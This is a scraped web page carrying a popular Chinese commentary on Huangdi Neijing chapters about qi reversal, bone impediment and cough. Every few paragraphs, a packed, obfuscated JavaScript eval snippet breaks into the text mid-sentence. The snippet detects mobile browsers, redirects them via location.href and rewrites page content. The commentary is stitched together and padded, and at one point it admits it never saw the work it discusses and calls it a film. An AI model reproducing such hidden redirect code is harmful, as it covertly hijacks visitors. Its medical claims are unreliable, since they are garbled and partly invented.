;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428720|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医在治疗气逆时，注重调畅气机，使升降有序。根据具体脏腑的气逆表现，采用降逆止呕、降逆平喘等治疗方法，以恢复气机的正常运行。 《逆调论》作为一篇深入探讨此类病理机制的经典篇章，其命名本身就蕴含了深刻的医学哲理。 在中医理论中，阴阳是宇宙万物的基本属性，也是人体生命活动的根本规律。阴阳平衡，则人体健康；阴阳失衡，则疾病丛生。《逆调论》所阐述的这些病症，如寒热、骨痹、肉苛等，无一不是阴阳偏盛偏衰的具体体现。气逆作为导致这些病症的共同因素，其实质就是气机运行失常，打破了人体内阴阳的和谐状态。 “荣卫不调”。荣卫，即营卫，是中医对人体内两种基本物质及其功能的概括。营气行于脉中，具有滋养全身、化生血液的作用；卫气行于脉外，具有护卫肌表、抵御外邪的功能。荣卫调和，则人体内外环境稳定，免疫功能正常；荣卫不调，则易受外邪侵袭，发生各种病变。《逆调论》中的病症，正是由于气逆导致荣卫运行不畅，进而引发了一系列病理变化。 因此，将这篇探讨气逆引发病变的经典篇章命名为《逆调论》，既是对其主旨内容的精准概括，也是对中医阴阳平衡、气血调和理论的深刻体现。它告诉我们，在治疗这类由气逆不调所引发的病症时，必须注重调和阴阳、疏通气血，恢复人体内的正常生理秩序，才能从根本上达到治愈疾病的目的。 第22章 （1）寒热症全攻略 黄帝问道：有的病人并没有穿的太暖或太热，却会出现发热烦闷的症状，这是为什么呢？ 岐伯回答说：“阴气少阳气盛，所以病人会发热，烦闷”。 中医强调阴阳平衡是人体健康的基础。阴气代表着寒凉、沉静、内敛的力量，而阳气则代表着温热、活跃、外散的力量。当人体内阴气偏少，而阳气偏盛时，这种阴阳失衡的状态就会导致一系列病理变化。 具体到“发热，烦闷”的症状，我们可以理解为：由于阳气过于旺盛，它失去了阴气的制约与平衡，就像烈日炎炎之下，缺乏了凉风的吹拂，自然会感到燥热难耐。这种阳气的亢盛，不仅使得体表温度升高，出现发热的症状，还会影响到人的心理状态，导致情绪烦躁、心神不宁，即所谓的“烦闷”。 在中医的治疗原则中，针对这种阴气少阳气盛的病理状态，通常会采用“清热泻火、滋阴润燥”的方法，旨在通过药物或其他治疗手段，来降低体内过盛的阳气，同时补充不足的阴气，从而恢复阴阳的平衡状态，缓解或消除发热、烦闷等症状。 我给大家解释一下“清热泻火、滋阴润燥”。 “清热泻火”。在中医看来，火有生理之火与病理之火之分。生理之火是人体生命活动的动力源泉，而病理之火则是指因各种内外因素导致的体内阳气过亢、热邪内生的状态。当人体出现这种病理之火时，就会表现为发热、口渴、烦躁、便秘、舌红苔黄等症状。此时，就需要采用清热泻火的治疗方法，通过药物或其他手段来降低体内过盛的阳气，消除热邪，恢复阴阳平衡。 “滋阴润燥”。滋阴，顾名思义，就是滋养阴液，使之充盈。润燥，则是针对因阴液不足而导致的干燥症状进行治疗。在中医理论中，阴液是构成人体和维持生命活动的基本物质之一，它具有滋润、濡养的作用。当阴液不足时，就会出现口干咽燥、皮肤干燥、大便干结等干燥症状。此时，就需要采用滋阴润燥的治疗方法，通过补充阴液来滋润身体，缓解或消除干燥症状。 需要注意的是，“清热泻火”与“滋阴润燥”往往不是孤立的治疗原则，它们之间存在着密切的联系和相互作用。在许多情况下，清热泻火的同时也需要滋阴润燥，以防止热邪过盛而耗伤阴液；同样，滋阴润燥的过程中也需要适当清热泻火，以消除体内可能存在的热邪。 黄帝问有的人穿的并不单薄，也没有感受寒邪，却总觉得寒冷从体内生出，这是什么原因呢？ 岐伯说：“这种人多痹气，阳气少而阴气多，所以经常感觉身体发冷，像从冷水出来一样”。 我们来看看“痹气”一词。在中医理论中，“痹”通常指的是因风、寒、湿等外邪侵袭人体，导致经络闭阻、气血运行不畅，从而引发关节疼痛、麻木不仁等症状的一种病理状态。而“痹气”则可能是指这种因外邪入侵而形成的阻滞气血运行的邪气。当人体内痹气较多时，往往意味着经络不通，气血难以畅达全身，进而影响人体的正常生理功能。 我们再看“阳气少而阴气多”这一描述。在阳气代表着温暖、活跃、外散的力量，是维持人体生命活动的重要物质；而阴气则相对较为寒凉、沉静、内敛。当人体内阳气偏少，而阴气偏多时，就会导致身体的整体温度下降，出现畏寒肢冷、面色苍白等症状。患者会经常感觉身体发冷，就像刚从冷水中出来一样。 针对这种病理状态，中医通常会采用温阳散寒、通络止痛的治疗方法。通过补充人体内的阳气，驱散体内的寒邪和痹气，恢复经络的畅通和气血的正常运行，从而缓解或消除患者的畏寒肢冷、关节疼痛等症状。 我们谈及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428721|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “温阳散寒、通络止痛”时，这不仅是中医理论中针对因寒邪入侵、阳气不足所致病症的一种重要治疗原则，也是中医临床实践中常用的治疗方法之一。 “温阳”，顾名思义，就是通过药物或其他治疗手段来提升和增强人体的阳气。阳气在中医理论中代表着温暖、活力、防御等正面属性，是维持人体正常生理功能的重要物质基础。当人体阳气不足时，就会出现畏寒肢冷、面色苍白、精神不振等症状。此时，通过温阳的方法，可以激发和调动人体的阳气，使其重新焕发活力，从而驱散寒邪，恢复身体的温暖和舒适。 “散寒”，则是指针对寒邪入侵所致的病症进行治疗。寒邪是中医理论中的一种致病因素，具有收引、凝滞的特性，能够导致人体气血运行不畅，出现疼痛、麻木、僵硬等症状。散寒的治疗方法旨在通过药物或其他手段来驱散体内的寒邪，恢复气血的正常运行，从而缓解或消除上述症状。 “通络止痛”，则是对治疗目标的具体描述。通络，即疏通经络，是中医治疗中常用的一种手段。经络是中医理论中人体气血运行的通道，当经络不通时，就会出现疼痛、麻木等症状。通过通络的方法，可以疏通经络，使气血得以顺畅运行，从而缓解或消除疼痛等症状。止痛，则是针对疼痛症状进行的治疗，旨在通过药物或其他手段来减轻或消除患者的疼痛感。 综上所述，“温阳散寒、通络止痛”是中医理论中针对因寒邪入侵、阳气不足所致病症的一种重要 治疗原则。在实际应用中，中医医生会根据患者的具体病情、体质等因素进行个性化的辨证施治，选用适当的药物和治疗方法来达到温阳散寒、通络止痛的目的。同时，患者也应注意保持良好的生活习惯和饮食习惯，以增强身体的阳气和抵抗力，预防和治疗因寒邪入侵所致的病症。 第22章 （2）阳邪来袭，阳热亢盛体质如何应对？ 黄帝问有的人四肢发热，一遇到风寒就热的更厉害，觉得身体像是被火熏制一样，这是什么原因呢？ 岐伯说：想象一下，如果人体内的阴阳平衡是一场舞蹈，那么“阴虚阳亢”就像是舞台上灯光过于耀眼，而“四肢属阳，风邪亦属阳”则是两位活力四射的舞者同时登台，他们的热烈互动（两阳相并）让整个舞池都沸腾了起来。这“阳气更加亢盛”的场景，就像是夏日的午后，阳光与热浪交织，让人不禁感叹自然界的阳刚之美。 然而，当我们从这种诗意化的想象回到中医理论的严谨框架中时，就需要用更为科学的语言来解释这一现象了。实则是揭示了人体在特定病理状态下的一种阴阳失衡机制。四肢作为人体活动最为频繁、阳气相对旺盛的部位，当它们遭遇同样具有阳性特性的风邪侵袭时，就如同火上浇油，加剧了体内阳气的亢盛状态。而阳气的过度活跃，又会进一步消耗和抑制阴气的生成与功能，从而形成了一个恶性循环：阳气愈盛，阴气愈虚。 在这个过程中，“阴气日益虚少”不仅影响了人体正常的生理功能，还使得原本应该相互制约、相互依存的阴阳两气失去了平衡。当阴气无法有效制约阳气时，就如同黑夜失去了对白昼的制衡，整个世界都被光明（即阳气）所主宰，这就是所谓的“阳气独盛”的局面。 面对这种情况，中医的治疗策略往往侧重于调和阴阳、滋阴潜阳，帮助患者恢复体内阴阳的平衡状态。这不仅是对岐伯等先贤智慧的传承与发更是中医理论在现代医学领域中的生动实践。 大家对阴阳可能不够理解，我今天再向大家详细的阐述一下。 首先，让我们从字面上理解“阴阳”。阴，代表着暗、静、寒、湿、内、下等特性；而阳，则象征着明、动、热、燥、外、上等相反的属性。在人体中，阴阳相互依存、相互制约，共同维持着生命活动的稳定与和谐。 从生理角度来看，人体的各个部位、脏腑、经络等，都可以根据阴阳属性进行划分。例如，五脏（心、肝、脾、肺、肾）主藏精而不泻，属阴；六腑（胆、胃、大肠、小肠、三焦、膀胱）传化物而不藏，属阳。又如，气血之中，气主动而温煦，属阳；血主静而濡养，属阴。 体表为阳：人体的皮肤、肌肉等外层组织，直接与外界环境接触，具有保护内脏、调节体温、感知外界刺激等功能，这些特性符合阳的属性，即外向、活跃、温热等。 体内为阴：相对于体表而言，人体的内脏器官、骨骼等深层组织则属于阴的范畴。它们主要负责人体的生理功能调节、物质代谢等内部活动，这些活动相对内敛、稳定，符合阴的属性。 上部为阳：从人体解剖学的角度来看，头部、上肢等身体上部位置相对较高，且多暴露在外，易于接受阳光、空气等外界因素的刺激，因此被视为阳的部分。 下部为阴：下肢、足部等身体下部位置相对较低，且多被衣物覆盖，较少直接暴露在外界环境中，因此被视为阴的部分。 背部为阳：背部是人体接受阳光照射的主要部位之一，且背部经络多与阳经相关（如督脉），因此背部被视为阳的部分。 腹部为阴：腹部是人体内脏器官的主要聚集地，且多被衣物和皮肤覆盖，较少直接接受外界刺激，因此腹部被视为阴的部分。 对于阴阳学说，我只是简单的介绍了一下，我们继续接着去学习如果现在讲的。太复杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428722|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不便初学的朋友们大家去学习。 岐伯接着说：在中医的世界里，阳气与阴气如同天地间的日月，相辅相成，共同维系着生命的律动。当提到“阳气独盛，便不能生化成长，阳气独盛就会导致生肌停止”时，我们其实是在探讨一种阴阳失衡的病理状态。 想象一下，如果一片森林中阳光过于强烈，而雨露滋润不足，那么树木的生长就会受到限制，甚至可能出现枯萎的现象。同样地，在人体内，阳气虽然重要，但过度亢盛却会打破阴阳的平衡，影响到气血的生成与运行，进而影响到肌肉的生长与修复。 阳气独盛时，它可能会像一个不知疲倦的火炉，不断燃烧着体内的阴液和营养物质，使得这些本该用于滋养肌肉和维持生命活动的宝贵资源被过度消耗。这样一来，肌肉就得不到足够的营养支持，自然会逐渐消瘦，呈现出一种病态的萎缩状态。 而“这种四肢遇到风邪就感觉体热，像被火烤一样的人”，正是阳气独盛、阴液不足的一种典型表现。风邪本为阳邪，易于侵袭人体阳位（如四肢、头面等），当它与体内已经亢盛的阳气相遇时，就如同火上浇油，加剧了体内的热象。患者因此会感到四肢灼热难耐，仿佛被火烤一般。 面对这种情况，中医的治疗原则往往是“滋阴降火、调和阴阳”。通过药物、针灸、食疗等多种手段，帮助患者补充阴液、降低阳气的亢盛程度，从而恢复体内的阴阳平衡。只有这样，才能从根本上解决阳气独盛导致的肌肉消瘦等问题。 以上只是基于中医理论的一种解释和推测。在实际的临床诊疗中，还需要结合患者的具体病情、体质特点以及生活环境等多方面因素进行综合考虑和个性化治疗。 第22章 （3）骨痹是如何产生的？ 黄帝问有的人身体寒凉，即使用热水温熨或烤火，也无法感到热，多穿衣服也不觉得温暖，面对寒冷环境或体内产生寒冷感觉时，并未出现不由自主的颤抖或战栗反应。这是什么毛病呢？ 岐伯说：人体是一个复杂的阴阳平衡系统，其中肾主水，藏精，为先天之本，而太阳则常被类比为人体的阳气之源，尤其是与膀胱经（中医称为“太阳经”）紧密相关。“这种人平时就肾水气盛”，可以理解为这类人体质上偏于阴盛阳虚，即肾中水液（包括津液、血液等）相对充盈，但阳气可能不足以温煦全身。 然而“经常接近水湿”则水湿之邪易伤阳气，长期处于潮湿环境中，无疑会加重体内阴寒之气，使得原本就偏弱的阳气更加难以舒展。 “水寒之气偏盛，而太阳之阳气偏衰”，水寒之气指的是体内因水湿过重而形成的寒冷之气，它压制了原本应该温煦全身的阳气，尤其是太阳经所代表的阳气。而太阳阳气的偏衰，不仅会影响体表的温暖，还可能深入脏腑，导致一系列虚寒症状。 太阳阳气与体表的温煦、防御等功能紧密相关，而肾则被视为“先天之本”，主藏精，主水液，同时也与骨髓的生长和充养有着密切的关系。然而，太阳阳气偏衰”“肾脂就会不长，肾是水脏主生长骨髓，肾在主持水液代谢、促进生长发育（包括骨髓的充养）方面的重要作用。水寒之气偏盛导致骨髓不能充满和寒冷至骨的症状产生。 岐伯说：“肝是一阳，心是二阳，肾是孤脏”肝属木，主疏泄，喜条达而恶抑郁，其性升发，与阳气的生发、疏泄有关，故可视为“一阳”。心属火，为阳中之阳，主血脉，藏神志，其阳热之性最为显着，故称为“二阳”。而肾虽为水脏，但肾中藏有元阴元阳，是生命活动的根本，其阴阳属性相对复杂，这里称其为“孤脏”。 一个独阴的肾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428723|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水，胜不过心肝二阳之火”，如果肾中阴寒之气过盛，而心肝之火又不足以与之抗衡，那么理论上病人应该会出现畏寒战栗的症状。但在这里，由于心肝之火相对旺盛，能够在一定程度上制约肾水的寒性，使得病人虽然感受到寒冷，但并不出现战栗的反应。 至于“这种病叫做骨痹，病人必定会出现骨节拘挛的症状”，这是中医对特定病理变化的描述。骨痹，作为痹症的一种，主要表现为骨骼、关节的疼痛、僵硬、活动不利等症状。在中医理论中，痹症多因风寒湿邪侵袭人体，导致经络闭阻，气血运行不畅所致。而肾主骨生髓，肾阳的温煦作用对于骨骼的生长、发育和正常功能至关重要。因此，当肾阳不足，或肾中阴寒之气过盛时，就可能导致骨骼、关节出现病变，表现为骨痹的症状。 我们在实际应用中，我们需要根据患者的具体症状、体征以及舌脉象等信息进行综合分析、辨证施治。 第22章 （3）【揭秘】气逆病症全解析：症状、成因与高效治法 黄帝说：人出现气逆不顺的病症时，有的不能安卧，而且呼吸有声，有的不能安卧，但呼吸无声，有的起居如常，呼吸有声，有的能够安卧，行动则气喘，有的不能安卧，也不能行动，却会气喘，有的不能安卧，躺则气喘是哪些脏腑发病导致出现这样的症状呢？我想知道是怎么回事？ 岐伯说：不能安卧，而且呼吸有声的是阳明经脉之气上逆”。在中医理论中，经脉的走向与气血的运行确实有着严密的逻辑和对应关系。 “足三阳的经脉从头到足都是下行的”，足三阳经（足阳明胃经、足太阳膀胱经、足少阳胆经）主要循行于人体下肢外侧，且总体趋势是由头向足。然而，经脉的气血运行并非一成不变，它会受到内外多种因素的影响而发生变化。 现在，“足阳明经脉之气上逆而行，导致呼吸不畅，在中医看来，呼吸不畅、喘息有声往往与肺、肾等脏腑的功能失调有关，也可能与气血运行不畅、痰饮阻滞等因素有关。而足阳明胃经虽然不直接关联呼吸功能，但其气血的异常运行可能通过影响脾胃功能，进而间接影响到肺气的宣降和肾气的纳气，从而引发呼吸系统的症状。 阳明与胃紧密相关，主要指的是手阳明大肠经和足阳明胃经，它们不仅联络着胃腑，还贯穿人体上下，影响着气血的流通与脏腑的协调。 “胃是六腑之海”，胃在人体消化系统中的核心地位，如同海洋般汇聚并输送着水谷精微，滋养全身。而“胃气以下行为顺”，则是中医对胃正常生理功能的一种概括，即胃气应当和降顺畅，将食物消化吸收后产生的营养物质输布全身，同时将代谢废物排出体外，保持身体内外环境的平衡。 当“阳明经脉气上逆”时，意味着原本应顺降的胃气出现了反向流动，这往往是由于外邪侵袭、情志失调、饮食不节等多种因素导致胃的功能紊乱。胃气上逆，不仅会影响食物的消化吸收，还可能引发一系列症状，如嗳气、反酸、呕吐等，同时也会影响人的睡眠质量，即“胃不和则卧不安”，因为胃气的逆乱会扰动心神，使得人难以安卧。 针对这种情况，中医治疗通常会采用和胃降逆、消食导滞等方法，旨在恢复胃气的正常下行，从而缓解病人的不适症状。 面对“如果病人起居如常而呼吸有声，则是肺的脉络不顺”这一说法，我们可以从中医理论的角度进行深入浅出的分析。 首中医所言的“肺的脉络不顺”，并非直接指物理性的阻塞或狭窄，而是更多地强调气血在肺经及其络脉中运行的不畅或失衡。在中医理论中，肺主气司呼吸，其络脉遍布全身，负责将肺气输布到各个脏腑组织，以维持正常的生理功能。 当病人出现“呼吸有声”而“起居如常”时，这确实可能反映了肺经或络脉的某种不和谐状态。然而，这种不和谐并未严重到影响病人的日常生活起居，说明其病情尚处于相对轻微的阶段。在中医看来，络脉生病往往比经脉生病更为表浅和轻微，因为它们更多地涉及到气血运行的细微变化，而非整体脏腑功能的严重受损。 “络脉不能随着经脉之气上下循行”，是因为气血在络脉中的流动受到了某种程度的阻碍或不畅。这种阻碍可能源于多种因素，如外感风寒、情志失调、饮食不节等，它们都可能影响气血的正常运行，导致络脉的功能失调。 在这种情况下，虽然病人呼吸不畅、喘息有声，但由于其起病较缓、病情较轻，且未影响到整体脏腑的生理功能，因此仍能维持正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428724|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常的日常生活起居。 如果不能安卧，躺卧则气喘，则这种情况是水气侵犯肺所致”。 中医认为人体内的水液代谢与肺、脾、肾三脏密切相关，其中肾主水，司膀胱开合，具有调节体内水液平衡的重要作用。当肾病不能主水时，水液代谢就会出现紊乱，水气可能上逆而侵犯肺脏。 在中医理论中，肺为华盖，主气司呼吸，且肺为水之上源，通过宣发肃降作用参与水液代谢。当水气侵犯肺脏时，肺的宣发肃降功能受阻，气机不畅，就会出现气喘的症状。同时，由于水气停留于胸膈之间，压迫胸腔，使得病人无法平躺，否则气喘会更加严重。 这种情况在中医上被称为“水气凌心射肺”或“支饮”等病证，属于较为复杂的临床证候。治疗时需要根据病人的具体病情和体质进行辨证施治，采用温阳化饮、宣肺平喘等方法来恢复肺、脾、肾三脏的功能，从而消除水气、缓解气喘症状。 这里涉及到几个词汇，水气凌心射肺”和“支饮”和温阳化饮、宣肺平喘，有我来说一下： 我们来说说“水气凌心射肺”。这个术语形象地描绘了水气（即体内多余的水湿之气）侵犯心脏和肺脏的情景。在中医看来，心为君主之官，主血脉，而肺为相傅之官，主气司呼吸，两者相互依存，共同维持人体的生命活动。当体内水液代谢失衡，水气内生并上逆时，它首先会冲击到位于上焦的心肺二脏。水气凌心可导致心悸、胸闷、水肿等症状；而水气射肺则会引起咳嗽、气喘、呼吸困难等呼吸系统症状。这种病理变化在中医临床上较为常见，多见于心衰、肺水肿等严重疾病的患者。 本小章还未完， 请点击下一页继续阅读后面精彩内容！ 第23章 咳论篇 《咳论片》这一假设性医学典籍（需注意，实际中我并未直接接触到名为《咳论片》的特定着作，但基于题目设定进行回答）所论述的内容时，我们可以从中医理论的角度出发，构想其可能涵盖的深刻医学见解。 中医对咳嗽的认识，源远流长，博大精深。若《咳论片》真如其名，深入探讨了咳嗽这一病症，那么它必然会涉及到咳嗽的多种病因、病机、症状表现以及相应的治疗策略。 病因： 《咳论片》或许会开篇即明，咳嗽非独病名，乃肺系疾病的主要症状之一，其因多端，外感六淫、内伤脏腑皆可导致。外感咳嗽，多因风、寒、暑、湿、燥、火六淫之邪侵袭肺卫，肺气失宣所致；内伤咳嗽，则多因脏腑功能失调，内邪干肺引起，如痰湿蕴肺、肝火犯肺、肺阴亏耗等。 病机： 书中或会详细阐述咳嗽的病机转化，如外感咳嗽初期，多以邪实为主，若迁延不愈，则可由实转虚，或由表入里，形成寒热虚实错杂之证。内伤咳嗽，则多为本虚标实，虚者责之于肺、脾、肾三脏，实者或为痰浊、或为瘀血、或为气火，相互胶结，缠绵难愈。 症状传变： 《咳论片》可能还会详细记录咳嗽的各类症状及其传变规律。如从轻微的干咳、少痰，逐渐发展为咳痰量多、痰质黏稠或稀薄，甚至伴有喘息、胸闷、胸痛等症状。此外，根据咳嗽的时间、声音、痰的颜色质地等，还能进一步判断病情的寒热虚实及病位的深浅。 治疗方法： 在治疗上，《咳论片》定会遵循中医的辨证论治原则，提出一系列行之有效的治疗策略。对于外感咳嗽，重在祛邪宣肺，根据邪气的性质，分别采用疏风散寒、清热润燥等法；对于内伤咳嗽，则需根据脏腑的虚损情况，采用健脾化痰、清肺泻火、养阴润肺等法，同时兼顾标本兼治，以达到扶正祛邪、止咳平喘的目的。 谢邀。 在探讨这部特别指出“咳嗽的病变属于肺，同时五脏六腑的病变又都能影响肺使之功能失常并引发咳嗽”的影片（或假设性医学文献）时，我们不难发现，这实际上触及了中医理论中“整体观念”与“脏腑相关”的核心理念。 首先，从中医的角度来看，肺为“华盖”，居于胸腔，覆盖五脏六腑之上，主气司呼吸，是体内外气体交换的场所。因此，咳嗽作为肺系疾病的主要症状，其病变自然与肺的功能失常紧密相关。然而，中医又强调“五脏六腑皆令人咳，非独肺也”，意味着咳嗽虽病位在肺，但其发病机制却可能涉及全身多个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428725|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脏腑。 具体来说，五脏六腑的病变之所以能影响肺并引发咳嗽，主要有以下几个方面的原因： 1. 气血运行失常：中医认为，气血是维持人体生命活动的基本物质，它们在经络中运行不息，滋养全身。若五脏六腑功能失调，导致气血运行不畅，就可能形成气滞、血瘀等病理产物，进而影响肺的气机升降，引发咳嗽。 2. 津液代谢障碍：肺主通调水道，参与体内水液的代谢和输布。若其他脏腑功能失调，影响津液的生成、输布和排泄，导致水液停聚，形成痰饮等病理产物，这些病理产物又可上逆犯肺，阻遏肺气，从而引发咳嗽。 3. 脏腑之间相生相克：中医五行学说认为，五脏六腑之间存在着相生相克的关系。例如，脾为肺之母脏，若脾虚则不能运化水谷精微以养肺，导致肺气不足；肝主疏泄，若肝气郁结或肝火过旺，则可横逆犯肺，影响肺气的宣发肃降，从而引发咳嗽。 因此，这部影片（或文献）所强调的“咳嗽的病变属于肺同时五脏六腑的病变又都能影响肺使之功能失常并引发咳嗽”，不仅是对中医理论的一种深刻阐述，也是提醒我们在治疗咳嗽时，应秉持整体观念，综合考虑患者的全身状况，辨证施治，以达到标本兼治的效果。 第23章 （1）咳嗽背后的秘密：从病因到病机，再到症状传遍 黄帝问道肺脏有病，能使人咳嗽，这是为什么呢？ 岐伯说：五脏六腑有病都能使人咳嗽，不只是肺部”，咳嗽虽病位在肺，但并非孤立之症。肺主气司呼吸，与外界环境直接相通，是体内外气体交换的场所，因此容易受到外界邪气的侵袭。然而，当五脏六腑功能失调时，同样会通过各种机制影响到肺的功能，进而引发咳嗽。 黄帝说：希望听您讲讲各种咳嗽的症状。 岐伯回答：“皮毛与肺相应合”是一个重要的概念。肺属金，皮毛亦与金相应。在五行相生相克的关系中，金生水，而皮毛在人体中起着保护机体、调节体温、排泄汗液等作用，这些功能与水的代谢和调节密切相关。因此，皮毛与肺在五行属性上具有一定的相通性。 从“脏腑经络学说”的角度来看，肺主皮毛。这里的“皮毛”不仅仅指皮肤表面的毛发和汗孔，而是广义上包括皮肤、汗腺、皮脂腺等在内的一系列组织器官。肺通过其宣发肃降的功能，将卫气和津液输布到皮毛，以滋养和保护皮毛；同时，皮毛也能将外界的邪气（如风、寒、暑、湿、燥、火等）阻挡在体外，或通过出汗等方式将邪气排出体外，从而保护肺脏不受外邪侵袭。 因此，当皮毛感受了邪气时，这些邪气就有可能通过皮毛与肺之间的密切联系，进一步影响到肺脏的功能。例如，外感风寒邪气侵袭皮毛，若邪气较重或人体正气不足，就可能通过皮毛入里，影响到肺的宣发肃降功能，导致肺气失宣，进而引发咳嗽、气喘等肺部症状。 同时饮食与脏腑健康的关系有着丰富的论述。如果喝了冷水和吃了寒冷的食物，胃里的寒气会沿着肺脉上升至肺，会引起肺寒，这样就使内外寒邪互相交合，停留于肺脏，导致肺咳”的情况。 我们要明确的是，中医所讲的“寒气”并非指物理学上的低温或冷凉，而是一种具有寒凉、凝滞、收引特性的病邪。当人体摄入过多寒凉之物时，这些寒凉之气会首先影响脾胃，因为脾胃为后天之本，主运化水谷精微，且喜温恶寒。脾胃受寒后，其运化功能减弱，不仅会导致消化不良、腹胀腹泻等症状，还可能使寒气进一步循经上传至肺。 在中医经络理论中，肺经与胃经有着密切的联系，它们之间通过经络的相互沟通，实现气血的相互输布和调节。因此，当胃中寒气过盛时，确实有可能沿着经络上行至肺，影响肺的正常生理功能，导致肺气失宣，进而引发咳嗽等肺系症状。 在中医理论中，五脏与自然界中的时令变化有着密切的联系，这种联系被称为“五脏应时”。每个脏腑都有其特定的主时，即在该时段内，该脏腑的功能活动最为旺盛，同时也更容易受到外界环境的影响而发病。然而，您五脏在他们各自所主的时令受病，而肺在他所主的时令并未受病，那疾病就是由各脏传给他的。 实际上，由于人体内外环境的复杂性和多变性，任何脏腑在任何时候都有可能受到病邪的侵袭而发病。只不过在某些特定的时令，由于气候、环境等因素的影响，某些脏腑更容易受到病邪的侵袭而已。 接下来，我们来看脏腑传变理论。中医认为，人体是一个有机整体，各脏腑之间在生理上相互联系、相互依存，在病理上则相互影响、相互传变。当某一脏腑发生病变时，如果不及时治疗或治疗不当，病邪就有可能通过经络、气血等途径传变到其他脏腑，形成新的病变。这种传变可以是顺传（如按照五行相生的顺序），也可以是逆传（ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428726|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如按照五行相克的顺序），还可以是越经传变（即不按照五行生克顺序的传变）。 如果五脏在各自所主的时令受病，而肺脏并未在其所主的时令受病，但随后却出现了肺脏的病变，那么这很可能就是由于其他脏腑的病变通过传变机制影响到了肺脏。这种传变可能是直接的（如通过经络、气血的直接联系），也可能是间接的（如通过影响其他脏腑的功能而间接影响肺脏）。 接着我们来谈谈五脏与时令的对应关系。在中医理论中，五脏与自然界中的五行、五时（春、夏、长夏、秋、冬）等有着密切的联系。每个脏腑都有其特定的主时，如春季主肝、夏季主心、长夏主脾、秋季主肺、冬季主肾。在这些时段内，相应的脏腑功能活动最为旺盛，同时也更容易受到外界环境的影响。 当人体所处的自然环境发生变化时，如气温骤降、寒风侵袭等，如果人体未能及时适应或调整，就可能导致寒邪入侵。寒邪作为一种具有寒凉、凝滞、收引特性的病邪，一旦侵入人体，就会首先影响到与之相对应的脏腑。例如，在秋季或冬季，当外界环境寒冷时，人体的肺脏就更容易受到寒邪的侵袭，从而引发咳嗽等肺系症状。 